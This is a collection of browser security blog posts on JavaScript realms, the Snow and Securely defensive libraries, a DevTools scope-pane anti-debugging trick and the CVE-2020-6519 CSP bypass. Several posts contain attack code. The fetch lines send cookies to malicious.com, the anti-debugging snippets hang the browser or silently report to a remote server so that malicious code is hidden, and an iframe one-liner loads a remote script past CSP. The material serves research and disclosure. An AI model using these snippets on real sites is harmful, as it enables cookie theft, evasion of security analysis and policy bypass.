This is a small demonstration of how to use Snow to delete fetch API not only from the top main realm, but from any new realm that comes to life in the app.

So if a certain app uses a certain protection around fetch to prevent attackers from using it, the attackers could leverage a new realm to extract an unprotected fetch from there, but if the app instructs Snow to run its protection against all new realms, an attacker won’t be able to do so.

There is a clear demonstration of Snow’s power in this demo app that uses Snow to disable the alert API. The goal there is to run your own code in the app to successfully pop an alert message and by that show that Snow can be bypassed.

Learn more about Snow outside of this document:

How Snow helps against supply chain attacks?

This is explained throughout this document a number of times, but the bottom line is that Snow allows you to apply any dynamic protection you might create to all realms in the web app instead of just the top main one.

It can be anything really, any type of protection you wish to apply to your web app can be carried out to future realms just as easy using Snow.

Snow isn’t a supply chain attacks protection tool of its own, it is the security assurance a real supply chain attack protection tool needs to protect all future realms attacker might try to leverage.

Downsides and pitfalls of Snow - what’s the trade off?

At the time fo writing this document, Snow is a very new and experimental security tech which is not yet used by anyone. That is why this document is called “Integrating Snow into MetaMask” - it is an initial step in making MetaMask the first product ever to use Snow to protect itself.

It being so young is the exact reason for it having some early stages downsides:

Snow is exclusively designed to run on Chromium based browsers - developing a technology as complex as Snow requires a lot of specific handling and therefore methods that work in Chromium aren’t guaranteed to work as smoothly on other browsers.
Snow might introduce performance issues - since Snow’s focus is on creating a secured and hermatic solution against attackers, some of the hooks it applies to the page might be inefficient, so there’s some work to do there also.
Snow might not be as secure as we hope it is - as part of this project it was clear that achieving the goal Snow aspires to achieve based on how dynamic and complex javascript can be might not be possible. This in fact brought us to believe that Snow should be introduced into the browser as a builtin API and we will begin to put some effort into making this happen.

The third issue is an important one - Until Snow isn’t a builtin API it cannot commit to provide a fully secured solution and that must be taken under consideration when choosing to use Snow. On the other hand, using Snow is by far better then not, because it is the difference between protecting hopefully most realms created by attackers and none of them.

Snow outside of MetaMask and supply chain attacks

Snow is designed to be a general purpose tool and therefore is relevant to many more use cases outside of the context of this document.

Snow can be used by more vendors other then just MetaMask, thanks to Snow providing the most dynamic API we could think of - a callback to do with what ever you wish to do.

One can use Snow to create their own security tools or non security tools even.

A good example to that is Across which is based on Snow and could not have been made without it. It has its own logic that it applies to the web app, and it uses Snow to make sure its logic is applied across realms.

Bottom line

Same origin realms are a big security concern ever since supply chain attacks became so common and so advanced.

Snow tries to be the first proper solution attempt to same origin realms being leveraged against supply chain attacks protection tools.

Snow is rather young but unlocks a great potential against supply chain attacks if used correctly.

MetaMask can benefit a lot from combining LavaMoat existing solution with Snow missing solution to apply the power of LavaMoat to all realms in MetaMask rather then just the top main one, as it could be a great line of defense against an attacker who manages to bypass LavaMoat.

What is a realm in JavaScript?

2022-10-28T00:00:00+00:00

As part of my long term research around browser JavaScript security, in the past year I have been focusing specifically on security for realms ⭐️.

Due to the rise of dependencies-based development, the JavaScript ecosystem (and the browser JavaScript ecosystem in particular) is far more vulnerable to what we know as “supply chain attacks” - and the ability to create new realms in JavaScript is being leveraged to successfully carry out such attacks against web apps (if you want to understand why that is I recommend reading my previous post on this).

The realms security field is far from being properly addressed, and I hope to gradually fix that starting by introducing the first open source realms security tool - Snow-JS ❄️ by LavaMoat 🌋 (stay tuned).

But in order for any of this to make sense, we must first understand what realms are - and apparently that’s not an easy question to answer in a correct, yet informal and educational way.

The context of this post is focused around browser JavaScript, therefore it may apply to JavaScript in general, but that is not guaranteed.

A realm - the world where JavaScript lives

You can informally think of a realm as basically an ecosystem in which a JavaScript program lives. And just like any other ecosystem, it includes different elements that JavaScript programs must have in order to exist within it.

So - what do JavaScript programs need?

1) A global execution environment

In JavaScript, there can be many different scripts running in the same environment. Scripts can form scopes which are canonical execution environments in which values and expressions are “visible” or can be referenced. Scopes can also be layered in a hierarchy, so that child scopes have access to parent scopes, but not vice versa:

<script>
    (function scope1() {
        const x = 1;
        (function scope2() {
            const y = x + 2; // 3
        }());
        const z = x + y;  // Uncaught ReferenceError: y is not defined
    }());
</script>

In the example above we show how a scope can be defined using JavaScript. But what if we write a JavaScript program that also declares variables, and does so without actually declaring a scope?

This is known as a “top level declaration” - everything that is declared (or runs in general) outside of any defined scope is under the default outer-most scope, which is the global execution environment.

Variables declared under this outer-most scope are shared among the different scripts under the global execution environment:

<script> const x = 1; </script>
<script> const y = 2; </script>
<script> const z = x + y; // 3 </script>

A realm provides the JavaScript program with its own single global execution environment.

The examples above use const, which populates new definitions in what is known as the “declarative environment”, alongside let, class, module, import, and/or function declarations.

All other ways of creating new definitions fall under what is knowns as the “object environment”, which includes var, function, async function, function*, async function* (the * representing the generator function).

Be aware of that the effect different declarations statements have over the global object through the “object environment” drifts from the above explanation when JavaScript code executes under use strict; mode and/or when it executes as module code rather than script code!

Both the “declarative environment” and the “object environment” together make up the aforementioned global execution environment.

The “object environment”, in addition to the above, also provides all of what are known as “built-in global objects” due to its base object being what is known as the “global object”.

2) A global object (and intrinsic objects)

After having a proper environment in which JavaScript programs can execute, they also need to be able to perform advanced operations, including but not limited to platform based ones.

The global object provides access to built-ins such as different intrinsics, objects, APIs, etc (whether platform specific or not) that enrich and enable it to be fuller-featured and more useful.

The global object is referenced as window for browsers and global for NodeJS environments; in both, globalThis can also be used.

To start with the non platform based ones, the global object exposes some built-in intrinsic objects:

values (e.g. undefined, Infinity, etc);
functions (e.g. eval, parseInt, etc);
constructors (e.g. Boolean, Date, etc);
and others (e.g. JSON, Math, etc)

In addition to those, the global object also exposes different platform specific APIs. In the browser for example there are fetch, alert, document and more.

The DOM, for example is a well known browser specific API that is exposed via the global object, and here too every realm has its own unique separate DOM.

In the context of the “global execution environment” section, in addition to these built-ins, the global object also exports anything that was declared under the “object environment”:

// `const` declrations fall under the "declarative environment"
const constant = 1;

// and therefore they are not accessible via the global object
console.log(window.constant); // undefined

// however,

// `var` declrations fall under the "object environment"
var variable = 2;

// and therefore they are accessible via the global object
console.log(window.variable); // 2

Any platform specific objects and APIs are accessible via the global object along with all intrinsic objects and new properties declared by code.

3) JavaScript itself

The last thing that can be associated with a realm is the JavaScript code that runs within the execution environment of that realm.

Any changes/alternations/updates to the execution environment, the global object or anything that is derived under a realm, is also associated exclusively with that realm.

Grasp the concept of what realms really are

Congratz 🎉 for making it through the boring technical definition part - now’s the less formal part where it’ll all click!

Realms in “real life”

As mentioned before, realms is a JavaScript concept and is not exclusive to browsers, but I will stick to browsers in my explanation.

Now that we defined what realms are, it’s time to “put a face to the name”.

In the browser, by default there is only one realm and that is the top main realm. That is the realm where the web app that the browser loaded lives.

As we just learned, the web app lives within that realm which provides it with a global execution environment, an outer-most scope and a global object that grants access to different intrinsic objects, platform specific APIs, etc.

However, new realms can be created by the web app and co-exist - and every new realm will have its own separate and unique set of everything mentioned above.

Every realm lives inside what is known as an agent, and an agent can be the parent of multiple realms. Realms can have child or sibling realms.

Agents will be covered in a different post. All there is to know is that an agent is an entity with different resources it provides to the realm/s it hosts (e.g. the event loop).

In the browser, realms can be created in various ways and whether they’ll be the child of the same agent or not depends on the nature of the realms and the relationship they have with each other. Here are some examples:

Two iframes (either parent and child or siblings) of the same origin will form two realms under a single agent.
Two iframes (either parent and child or siblings) of two different origins will form two realms under separate agents (furthermore, to keep cross origin site isolation, the parent agents of the two realms are children to separate agent clusters which run in different processes).
The top main realm and a service worker are two realms under separate agents under a single agent cluster (so is a web worker).

Those relationships also dictate to what extent realms can communicate with one another.

Same origin iframe realms share a single event loop and can access each others environment synchronously and freely using the contentWindow property:

// https://example.com
const ifr = document.createElement('iframe');
ifr.src = 'https://example.com'; // same origin
ifr.onload = () => {
    console.log(ifr.contentWindow.document.body);
    // <body></body>
}
document.body.appendChild(ifr);

But cross origin iframe realms get much more limited access using the same API:

// https://example.com
const ifr = document.createElement('iframe');
ifr.src = '//cross.origin.com'; // cross origin
ifr.onload = () => {
    console.log(ifr.contentWindow.document.body);
    // Uncaught DOMException: Blocked a frame with origin "https://example.com" from accessing a cross-origin frame.
}
document.body.appendChild(ifr);

Cross origin realms can still communicate with each other, but the communication is more limited and is based on the postMessage() asynchronous API. This also applies when trying to communicate with web workers, service workers, etc.

It is worth mentioning that different and interesting complimentary solutions to some of the limitations described here will be introduced shortly once the famous shadow realms proposal lands - worth staying tuned on that!

The uniqueness of each realm is a great way to better grasp the idea of what a realm is.

If for example we load the following website:

<html>
    <head></head>
    <body>
        <iframe id="some_iframe"></iframe>
    </body>
</html>

Then there are two different realms - the top main realm, and the new realm within the iframe, so that each realm has its own unique identity with a unique global object and a global execution environment:

window === some_iframe.contentWindow // false

And each realm has its own set of intrinsic objects and platform based APIs:

window.fetch === some_iframe.contentWindow.fetch // false
window.Array === some_iframe.contentWindow.Array // false

<html>
    <script> 
        window.top_array = []; 
    </script>
    <iframe> 
        <script> 
            window.top.iframe_array = []; 
        </script> 
    </iframe>
    <script>
        // top_array and iframe_array were born in different realms
        Object.getPrototypeOf(window.iframe_array) === Object.getPrototypeOf(window.top_array) // false
    </script>
</html>

Primitives, however, are identical across realms:

window.Infinity === some_iframe.contentWindow.Infinity // true

Identity discontinuity

Identity discontinuity is a state that can only be achieved due to the existence of realms as a feature, which helps in emphasizing how unique they are.

To demonstrate the concept properly we’ll use the instanceof operator.

Imagine we have a third party service that creates blue buttons and is loaded via an iframe (for whatever reason), so that the web app consumes its services as follows:

<html>
    <iframe id="blue_buttons_iframe">
        <script>
            window.top.createBlueButton = function(text) {
                const button = document.createElement('button');
                button.style.color = 'blue';
                button.value = text;
                return button;
            };
        </script>
    </iframe>
    <body>
        <script>
            const blueButton = window.createBlueButton('my blue button');
            if (!blueButton instanceof HTMLButtonElement) {
                throw new Error('blue button created does not seem to actually be a button element!');
            }
            document.body.appendChild(blueButton);
        </script>
    </body>
</html>

With instanceof, you can tell whether what’s on the left of the operator is an instance of what’s on its right. So for example, since button elements are instances of the HTMLButtonElement interface, the result for document.createElement('button') instanceof HTMLButtonElement is true, whereas the result for document.createElement('div') instanceof HTMLButtonElement is false - because a div element inherits from HTMLDivElement and not the HTMLButtonElement, obviously.

However, in our example the instanceof check will return false and the custom error will be thrown - even though blueButton inherits from HTMLButtonElement.

How’s that possible? This happens because inheriting from HTMLButtonElement in general is not enough to count as an “instance of” - the tested object must be an instance of the interface from the specific realm it came from in the first place.

The intention of the instanceof check originally was to make sure that the blue buttons third party service really provided a button element and nothing else, but in reality the blue button is created in a different realm from where the HTMLButtonElement interface comes from and therefore the instaceof check will forever return false.

The described bug is due to the introduction of identity discontinuity to the code which goes to show how unique are realms and everything they provide.

Solving identity discontinuity is not always trivial. In the example above, changing the check into blueButton instanceof blue_buttons_iframe.contentWindow.HTMLButtonElement would have fixed the issue, but that is not a scalable nor a convenient solution.

In order for an object to be an instance of an interface, the object must be created at/derived from the exact realm of that interface.

In summation

I came up with this content because I couldn’t find any useful, accurate and understandable information on what realms are and what defines them. It was crucial to understand realms fully in order for me to dive deeper into the role of realms in supply chain attacks and security in general - I hope you find this useful as well.

You can always catch up on my research and development of the field on the awesome-JavaScript-realms-security repo.

I also recommend you learn more about the LavaMoat 🌋 tool Snow-JS ❄️ to further understand the defensive security effort around securing JavaScript realms.

Javascript Anti Debugging - Abusing Chromium Devtools Scope Pane

2021-09-01T00:00:00+00:00

tl;dr - Abusing the Chromium Devtools Scope Pane can allow execution of Javascript by the devtools while the main thread is paused by the debugger! I used this trick to create a very powerful anti debugging technique library that tracks the flow of debugging done by the user and changes the flow of execution accordingly - check out the DEMO

As part of a long term anti debugging techniques research I do (highly recommending you to read the first part of my work if you never did in order to understand the nature of my work), I came across a list of techniques, and it was section 4 which led me to do the research I will present in this article:

(function xyz(){
    let div = document.createElement('div');
    let loop = setInterval(() => {
        console.log(div);
        console.clear();
    });
    Object.defineProperty(div, "id", {get: () => { 
        clearInterval(loop);
        alert("Dev Tools detected!");
        return 'SOME_FAKE_ID';
    }});
}())

This made me wonder about how it works. Let me share with you my understanding: When you run the code above without opening the devtools, nothing happens. But as soon as you open the devtools, the alert message pops up. What happens there, is that the code constantly logs the created div element to the devtools console. Once the devtools is asked to log details regarding the element, one of the details it tries to fetch in order to present it is the id of the element, as it is a very commonly used and an important property. So normally, if you create a div element and set it with some id, for calling console.log() with it you’ll get:

But what happened in the code example above, is that the creator of the code overrode the native getter of the id property of the div element with a getter of its own, a getter function which when is called claims to know with certainty that the devtools are open. And that certainty is in fact justified when you think about it. A reference to that div element is accessible only via the inner scope of function xyz. Which means no other code in the website will ever have a reason, nor the possibility to access this div’s id property. The only reason it will ever be called is by the devtools because it was logged to the devtools console - and this scenario will only exist when the devtools are open/being opened. Therefore, it is safe to say that the artificial id getter will only be called with the opening of the devtools - thus can be a flawless indicator of the devtools being opened!

This is the last progress I could find online regarding this trick, even though I knew there is a lot of potential in it and that it could be leveraged into creating more powerful capabilities.

I thought to myself “is the console the only way to get the devtools to call a getter function I control?”. Because if that so, this trick is nice but it can’t serve attackers really - printing to the console or clearing it will be the opposite of what an attacker tries to achieve by using anti debugging techniques - which is hiding. I decided to debug the javascript snippet above and step over each line one step at a time. And then I noticed an unexpected behavior - the alert jumps as soon as I step over the Object.defineProperty line, without counting on the console.log(div) line to do the job afterwards. So how is the overridden getter function being called without running the console.log(div) line? This means the div element is probably being presented elsewhere in the devtools frame.

The Chromium Devtools Scope Pane

That’s right - our getter is called in order to present the element in the scope pane (on the right) as well as in the console. Now this is more interesting then before for 2 reasons:

This means there is a way of using the trick without polluting the console, which is important.
This means I can control this trick and decide when and in which specific scope the detection is activated! Or in other words, instead of detecting devtools opening in general, I can use this trick to detect the debugging of a specific scope in my code!

function malicious() {
    const detect = (function(){
        const dummy = /./;
        dummy.toString = () => {
            alert('someone is debugging the malicious function!');
            return 'SOME_NAME';
        };
        return dummy;
    }());

    // do a malicious action
    if (window.stealUserCookies) window.stealUserCookies();
}

function legit() {
    // do a legit action
    return 1 + 1;
}

function main() {
    legit();
    malicious();
}

debugger;
main();

Take the code above and run it in the devtools console twice: On the first time, step into main function, in or over legit function (doesn’t matter) and then step over malicious function. No alert, right? malicious function was executed silently and was not debugged.

On the second time, do the same thing, only this time step in malicious function instead of over. This time, you should get the alert. This is because after evaluating the detect variable which adds our special regex variable to the scope, the scope pane now has to display the name of the regex variable that is saved into the detect variable.

This infect allows me to tell which function was debugged when the devtools were open and which wasn’t. And not only I can tell that, but I can also choose what action to take when a function is being debugged, and execute that action in a different parallel thread with full access to the main thread!

What’s also very cool about this trick and will give a hard time to anyone trying to debug the attacker’s code is that the callback to be called when the function is being debugged cannot be debugged in the devtools because it is a piece of code that is being called by the devtools itself. Meaning the only way to successfully debug this function is via the developer tools of the developer tools! (you may read this paragraph as many times as you need to, no rush).

This for example will get the browser stuck only when the malicious function is debugged (based on the example above):

function malicious() {
    const detect = (function(){
        const dummy = function(){};
        dummy.toString = () => {
            while (1) {}
        };
        return dummy;
    }());

    // do a malicious action
    if (window.stealUserCookies) window.stealUserCookies();
}

And this can silently notify the attacker’s server when the malicious function is debugged without the user ever knowing:

function  smap(url, data)  {
    const script = document.createElement('script');
    script.textContent =  `//# SourceMappingURL=${url}?data=${JSON.stringify(data)}`;
    document.head.appendChild(script);
    script.remove();
}

function malicious() {
    const detect = (function(){
        const dummy = function(){};
        dummy.toString = () => {
            smap('https://malicious.com/reportFunctionIsDebugged',  {name: 'malicious'});
        };
        return dummy;
    }());

    // do a malicious action
    if (window.stealUserCookies) window.stealUserCookies();
}

// if this '//# SourceMappingURL=' trick doesn't make sense to you, you MUST read part 1 of my anti debugging techniques research!
// check out https://weizman.github.io/page-js-anti-debug-1/

You get the idea - run anything you want in any scope you choose without the need to wait for the debugger to free the code from being paused!

The debug-tracker (Take it to the next level)

Based on what we just learned, I decided to create the debug-tracker - a NodeJS library that gets a string representation of javascript code, and returns it when each function is now tracked so when someone steps into that function via the devtools debugger, a provided callback will be called. Think of it as like firing an event indicating a function is being debugged with the function’s name.

So basically passing the following code:

function y(b) {
    return b + 5;
}

var x = (a) => {
	return y(a + 1);
};

x(3);

to the library along with the following callback (to be fired when a function is debugged):

function (info) {
    alert(`
            Function ${info.function_name} is being debugged!
            It was called with the following arguments: ${JSON.stringify(info.function_arguments)}
            First time it happened: ${info.first_timestamp}
            Last time it happened: ${info.last_timestamp}
    `);
}

Will result in:

    // callback to be called when function is debugged
    const onFunctionDebugged = (function (info) {
        alert(`
                Function ${info.function_name} is being debugged!
                It was called with the following arguments: ${JSON.stringify(info.function_arguments)}
                First time it happened: ${info.first_timestamp}
                Last time it happened: ${info.last_timestamp}
        `);
    }); 
    const initTracker = (function() {
        let callstack = [], callargs = [];
        setTimeout(() => { 
            // reset callstack when synchronized debugging is over
            callstack = []; 
            callargs = []; 
            });
        return (function(name, args = []) {
            const dummy = /./;
            const firstDebugTime = new Date();
            args = Array.prototype.slice.call(args);
            // register the callback to be called when the function is being debugged 
            dummy.toString = function () {
                // avoid being double called for the same debugged function
                if (callstack[callstack.length - 1] === name) {
                    let same = true;
                    for (let i = 0; i < args.length; i++) {
                        if (args[i] !== callargs[callargs.length - 1][i]) {
                            same = false;
                            break;
                        }
                    }
                    if (same) return;
                }
                // fire "function is being debugged" event
                callargs.push(args);
                callstack.push(name);
                onFunctionDebugged({
                    function_name: name,
                    function_arguments: args,
                    first_timestamp: firstDebugTime,
                    last_timestamp: new Date()
                });
            };
            return dummy;
        });
    }());

/*
step in / out / over any function you want starting at this point
*/

function y(b) {
    const svn_io379w = initTracker('y', arguments);

    return b - 1;
}

var x = function x(a) {
  const svn_io379w = initTracker('x', arguments);

  return y(a + 1);
};

alert(3 === x(3));

The debug-tracker-demo-site

I also created a user friendly website where you can load any (small) external javascript resources and get them wrapped by the debug-tracker and loaded in the website, so you can debug it as you wish and will be presented with the flow of debugging you made (whether you stepped in or out of a function) at the end of the session. It knows how to handle async situations as well, and can handle recursion too (as long as the arguments that are passed to the same function are different from before).

It is up and running, and it already has a few demo scripts for you to play around with in case you can’t come up with an example of a javascript code for you to investigate. This is the result:

Real life use cases

So by using this ability in the manner presented above, I was actually able to create an extremely strong anti debugging technique for browsers that uses chromium’s devtools, which allows me not only to tell when the devtools are open, but to specifically monitor and protect specific scopes and functions from being inspected. This can be very helpful to attackers in many ways.

When it comes to attacking victims through the web, there are a few challenges that an attacker has to cope with. The hardest one would probably be “luring the victims to their web”, which is basically getting them to click a link, or visit their malicious website unintentionally. being able to get victims to your court is one of the biggest challenges in offensive security.

Once this challenge is passed by the attacker and they managed to execute their malicious code in the victim’s browser, another big challenge that the attacker has to cope with is to keep silent and make sure the attack is undetectable and untraceable. This in my opinion should be one of the most important aspects attackers should pay attention to when constructing an attacking system (and I can assure you that governments level attackers most certainty do). As many resources and effort attackers put into their attacking system, the more they’ll wish to protect it and make sure it stays undercover. Otherwise, being careless will (and had in the past) result in all of those resources and effort going down the drain, which is a hard blow to recover from.

Attackers can take their products to the next level by using sophisticated anti debugging tricks, such as the one I presented in the first part of this article, or such as the one presented in this part of the article.

By using this trick and protect specific sensitive functions when are being debugged (by either getting the devtools stuck, changing top level javascript objects in order to mess with the flow of code afterwards, or anything else really), instead of general devtools protection, attackers can make their anti debugging protection more precise and their rate of success higher by making sure to bail on the attack only when truly are in danger of being uncovered.

This, as said, can take the quality of attacking products to another level.

Why do you talk about anti debugging techniques all the time? You’re like the only one who cares about this so much!

This question will be fully answered in the next non-technical article I am planning, but the bottom line is that I’m trying to raise awareness to this subject. I see so many web security companies out there talking about the different threats that attackers and defenders have to deal with, but no one talks about this part, maybe because high quality anti debugging techniques were not a thing a few months ago. But with the two techniques I presented as part of this article series I publish, I really believe malicious entities (and other entities too) can hide their behavior much better in the browser and to shake off a very big portion of security researchers from successfully uncovering the true intentions of these entities. This can be a game changer, and as web security experts we need to start thinking in this manner too when researching and working in the field. Otherwise, we’re gonna miss a lot of bad stuff on the web and let a lot of evil pass through the gates. Reshaping even just a little bit the way we approach web security research can help us produce work and findings of higher quality, and this is what I am trying to promote here.

To sum up

I will repeat what I wrote in the first part of this article:

As someone who has experienced the world of web security and hacking quite a lot in my military service, I can tell you that this trick right here will take the game to the next level if used correctly.

Revealing malicious activity in the browser is much harder for researchers when there are actions made by the attacker that take place in the browser without the researcher being able to tell that they even happened!

Correctly implementing this trick into an attacking exploit kit will significantly reduce the chances of being uncovered by researchers (maybe not so much though, now that this article is publicly published) by basically filtering those out of the way and only attacking the innocents.

This trick can of course be very helpful not only to attackers but to other entities as well (such as big companies who want to alter their code when it is being investigated by researchers for example).

Hope you guys enjoyed this - Spread The Word!

This research was conducted and published by Gal Weizman.

My contribution attempt to the browser javascript supply chain attack problem

2021-07-18T00:00:00+00:00

Introducing Securely 🔒, Snow ❄️ and Across ↔

tl;dr - Today I share my “side project” for the past year, three browser javascript security libraries that aim to perform as tools for creating web apps that are more resilient to and limiting of unwanted code execution such as XSS and javascript supply chain attacks:

Across ↔

Across standard allows different scripts within the same web application to communicate with each other by passing messages between one another securely.

🎬 Live Demo | 📖 Technical explanation | ⚙️ Installation and usage | 👩🏽‍💻 Source Code | 💪🏻 Motivation behind this project

Snow ❄️

Snow aspires to standardize how to recursively own newborn windows within a browser webpage, from the context of the webpage itself.

🎬 Live Demo | 📖 Technical explanation | ⚙️ Installation and usage | 👩🏽‍💻 Source Code | 💪🏻 Motivation behind this project

Securely 🔒

Securely allows you to call native APIs using their original behaviour even if they were tampered within the web app.

🎬 Live Demo | 📖 Technical explanation | ⚙️ Installation and usage | 👩🏽‍💻 Source Code

Across is built on top of Snow. Both Across and Snow are built on top of Securely.

⚠️ These technologies are currently experimental!

The Supply Chain Attacks Problem

In general, the ability to execute unwanted code within a website is still a major problem. Doing so with XSS is less common these days, but with infection of the supply chain of web apps which is a rising issue, it’s still very much possible.

To prevent such attacks, there are many different areas to defend. In my attempt, I focus on the real time prevention in the browser. Or in other words, what can attackers do once they successfully run within the website in the browser, and what I can do to make it harder for them?

Snow ❄️

Snow intercepts every possible way of creating a new iframe, and grants you first access to its window, even before the creator of that iframe. In this DEMO CTF I use Snow to disable access to alert API - think you can bypass Snow and pop an alert?

Lack of full control over iFrames is a major enabler for successfully carrying supply chain attacks. To be more precise, let’s get into the attackers shoes:

Assuming we already successfully breached the supply chain of a web app and we use our code execution to steal information and exfiltrate it using fetch API:

fetch('https://malicious.com/steal/cookies?data=' + document.cookie);

As a defender, I can hook fetch to block or at least log such attempt and by that potentially uncover such malicious activity in the website:

const realFetch = window.fetch;
window.fetch = function(arg1, arg2, arg3) {
    console.log('fetch activity logged, might be an attacker', arg1, arg2, arg3);
    return realFetch.call(this, arg1, arg2, arg3);
};

There are already third party vendors that offer security services to websites against supply chain attacks by hooking sensitive APIs in the website (just like attackers do) in order to track their usage and discover malicious activity.

The problem with that approach is iframes.

When creating a new iframe, a new window is attached to it, with all the usual APIs the top window exposes. So if such a security vendor hooks fetch API to catch attackers, the attackers can easily avoid that hook by creating a new iframe and pulling out of there a brand new fetch API:

const ifr = document.createElement('iframe');
document.head.appendChild(ifr);
ifr.contentWindow.fetch.call(top, 'https://malicious.com/steal/cookies?data=' + document.cookie);

By granting the defender the very first right of execution on every new iframe that comes to life within the web app, Snow ❄️ comes to solve exactly that.

So if security vendors used to hook fetch as demonstrated above, with Snow you can now apply that code to every new iframe that comes to life within the app:

const snow = require('@weizman/snow');
snow((win) => {
    const realFetch = win.fetch;
    win.fetch = function(arg1, arg2, arg3) {
        console.log('fetch activity logged, might be an attacker', arg1, arg2, arg3);
        return realFetch.call(this, arg1, arg2, arg3);
    };
});

Snow is a security driven project - it aspires to cover all techniques there are to creating new iframes, and it makes sure its internal functionality is secure by calling sensitive operations via Securely (read below).

Snow aspires to set a new standart hermatic solution to nested ownership of windows in a webpage. Therefore, Snow is very useful to a lot of other purposes, in and outside of the security field.

You can build in browser capabillities and tools and use Snow to eliminate the possibilites to bypass such tools by leavreging new realms. Across is an excellent example to that.

To dive into Snow and learn more about this, its source code, how to install and use, how and why it works and designed the way it is and to see a live demonstration of how it works refer to the resources listed above

Across ↔

Across specifically is a new technology (also security related) that is a bit bigger than the supply chain attacks problem, but could not have been created without leaning on Snow.

In order to unlock the ability for two scripts within a webpage to communicate with each other securly based on their origin, Across ↔ aspires to establish a way to do so

In other words, with Across script https://x.com/a.js can share information with https://y.com/b.js and stay assured that this information:

really did come from the sender script and not any other entity.
was not tampered by any other entity.
was not read by any other entity.

which is a state that cannot be achieved based on how modern browsers work.

To me, Across is a very exciting technology that unlocks possibilities that were non existing until now.

With Across third party scripts can safely exchange information with each other on the client side without needing a server.

Across can also be used to fight the supply chain attacks problem. For example, Across can be used to set up a “proxy script” to sensitive APIs and grant access to those APIs only to specific scripts based on their origin.

This unlocks the ability to solve security problems, redefine business relations between different javascript vendors and more.

I dive into the possibilities Across unlocks in the following section

Across is also a security drived project that could not have been made without:

Snow - to apply itself in all new windows in the webpage to remain secured;
Securely - to eliminate the ability of an attacker to sabotage Across’s core functionality by overriding APIs it uses.

To dive into Across and learn more about this, its source code, how to install and use, how and why it works and designed the way it is and to see a live demonstration of how it works refer to the resources listed above

Securely 🔒

Securely allows you to call native APIs using their original behaviour even if they were tampered within the web app. This allows for writing tools such as Snow and Across that are more resilient to attacks such as prototype pollution and MITB.

Securely permits the web app and all js code that runs within it to apply such hooks out of belief that these hooks are a legitimate and unseparatable part of the service provided by many third party vendors, especially in websites.

Instead, Securely allows you to declare what native functionalities you might need to use in your web app that you want to avoid any potential hooks and grants you exculsive access to them when needed

To dive into Securely and learn more about this, its source code, how to install and use, how and why it works and designed the way it is and to see a live demonstration of how it works refer to the resources listed above

My Take

As someone with vast experience in aspects of browser javascript security, including but not limited to supply chain defense, I wish Securely, Snow and Across will be adopted and contributed to in order to get them ready for production usage.

I believe all three of them can be used to create more secure software that is less vulnerable to unwanted code that is executing within a website in a browser, thanks to them handling exactly the security problems javascript allows as of today.

That being said, my approach is not the only one, I highly recommend learning about the complementary approach that LavaMoat brings.

I hope that with time we learn how to integrate and adopt all solutions as they are important together for creating a more secure development platform for javascript web apps.

It is important to note - Securely, Snow and Across are tools for development, they are not standalone solutions. In order for them to be effective one must use them as tools to fruther secure their web app.

Feedback

I’d love to hear your feedback! Whether its help with the project, feedback on my approach and perception of the problem and the solution or anything else - it is highly appreciated.

Because eventually, these tools cannot take off without adoption.

I encourage you to read further about these technologies. Each one of them has its own README, WIKI and DEMO files that aspire to explain and demonstrate these projects further as much as possible, in terms of motivation, technical explanation, demonstration and usage.

Hope this turns out helpful!

CVE-2020-6519 - Chromium 83 Zero Day Full CSP Bypass Cross Platforms

2020-09-02T00:00:00+00:00

tl;dr - This is the story of how I found and helped Google patch a vulnerability in Chrome browser that could have allowed attackers to fully bypass CSP rules since Chrome 73 (March 2019), and how researching it taught me that today’s CSP mechanism design is the reason no one uses CSP correctly and therefore many of the biggest websites in the world are exposed to this vulnerability.

Bypassing CSP completely can be very bad..

I was extremely surprised when I discovered this vulnerability affecting Chromium based browsers - Chrome, Opera, Edge - on Windows, Mac and Android that allowed attackers to fully bypass CSP rules on Chrome versions 73 (March 2019) through 83 (July 2020).

To better understand the magnitude of this vulnerability - the potentially impacted users are in the billions, with Chrome having over two billion users, and more than 65% of the browser market on one hand, and some of the most popular sites on the web being vulnerable to this CVE on the other hand.

Vulnerable sites included Facebook, WellsFargo, Gmail , Zoom, Tiktok, Instagram, WhatsApp, Investopedia, ESPN, Roblox, Indeed, Blogger, Quora and more.

So what was the vulnerability exactly?

Break CSP Down Completely With A One-Liner

You are more than welcome to check out the POC files as disclosed to Google Chrome project originally if you are interested in the exploit and in running it, but the following sum up should cover it mostly:

Normally, an attempt to run the following JS code will be blocked by the browser when the site’s CSP setting disallows the source or actions performed by the script:

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

However, running the same JS code via javascript: src of an iframe will bypass completely the configured CSP on that website:

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Simple yet very powerful! Billions of browsers on any OS would have blindly allowed CSP privilege escalation for any unwanted code in a website:

It is worth mentioning that some sites protected by CSP, like Twitter, Github, LinkedIn, Google Play Store, Yahoo’s Login Page, PayPal and Yandex were not vulnerable to CVE-2020-6519, as these implemented CSP using nonce or hash and by that added a layer of security that is implemented on the server side as well as the client side.

What is the potential impact?

Content Security Policy (CSP) is basically a set of rules set by the website that the browser’s role here is to respect and enforce in the name of the website.

With these rules the website can ask the browser to block/allow specific request calls, specific types of javascript code execution and more, thus ensuring stronger security for site visitors and protecting them from potential injected malicious scripts or cross-site-scripting (XSS).

Having a vulnerability in Chrome’s CSP enforcement mechanism doesn’t directly mean that sites are breached, as the attackers also need to manage to get the malicious script called from the site (which is why the vulnerability was classified as medium severity).

However, having a vulnerability in a security mechanism that is trusted by websites to enforce stricter policies on 3rd party scripts has vast implications, as some of the largest sites rely on CSP to enforce their policy, and may give them the comfort of approving 3rd party scripts of vendors and partners thinking they are safe with a strict policy enforced.

Besides the sites mentioned above (representing more than 2.5 billion users), it is safe to estimate that thousands of websites across industries, including e-commerce, banking, telecommunications, government, and utilities were left unprotected from a scenario where hackers managed to inject malicious code into them.

Why should we be worried about a vulnerability that is exploitable only when an attacker gained code execution on a website? In that case, bypassing CSP wouldn’t make much of a difference..

I disagree.

It is extremely risky when a vulnerability is found in the security mechanism that prevents such breaches, as the impacted sites actively relied on CSP to provide the protection tier.

About 6 months ago I found a persistent XSS in WhatsApp Web/Desktop applications and demonstrated the severity of this vulnerability.

